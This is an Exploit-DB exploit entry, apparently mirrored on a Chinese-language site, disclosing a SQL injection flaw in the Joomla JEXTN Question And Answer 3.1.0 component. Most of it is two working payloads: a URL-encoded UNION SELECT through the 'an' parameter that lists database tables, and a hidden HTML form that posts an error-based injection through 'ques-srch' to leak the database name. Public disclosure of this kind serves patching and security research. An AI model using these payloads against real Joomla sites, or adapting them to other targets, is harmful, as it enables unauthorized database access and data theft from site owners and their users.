Joomla! Component JEXTN Question And Answer 3.1.0 – SQL Injection

  • 作者: Ihsan Sencan
    日期: 2017-12-13
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/43329/
  • # # # # #
    # Exploit Title: Joomla! Component JEXTN Question And Answer 3.1.0 - SQL Injection
    # Dork: N/A
    # Date: 13.12.2017
    # Vendor Homepage: http://jextn.com/
    # Software Link: https://extensions.joomla.org/extensions/extension/communication/question-a-answers/jextn-question-and-answer/
    # Version: 3.1.0
    # Category: Webapps
    # Tested on: WiN7_x64/KaLiLinuX_x64
    # CVE: N/A
    # # # # #
    # Exploit Author: Ihsan Sencan
    # Author Web: http://ihsan.net
    # Author Social: @ihsansencan
    # # # # #
    # Description:
    # The vulnerability allows an attacker to inject sql commands....
    # 
    # Proof of Concept: 
    # 
    # 1)
    # http://localhost/[PATH]/index.php/en/component/jequestions/?view=tags&an=[SQL]
    #
    # %2dVerAyari'%20%2f*!06666UNION*%2f%20%2f*!06666SELECT*/%201%2c(SELECT%20GROUP_CONCAT(table_name%20SEPARATOR%200x3c62723e)%20FROM%20INFORMATION_SCHEMA.TABLES%20WHERE%20TABLE_SCHEMA=DATABASE())%2c3%2c4%2c5%2c6%2c7%2c8%2c9%2c10%2c11%2c12%2c13%2c14%2c15%2c16%2c17%2c18%2c19%2c20%2c21%2c22%2c23%2c24%2c25%2d%2d%20%2d
    # 
    #
    # 2)
    # <html>
    # <body>
    # <form name="pagination" action="http://localhost/index.php/en/component/jequestions/" method="post">
    # <input name="ques-srch" value="1'and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND ''='" type="hidden">
    # <button id="que_srch">Ver Ayari</button>
    # </form>
    # </body>
    # </html>
    # # # # #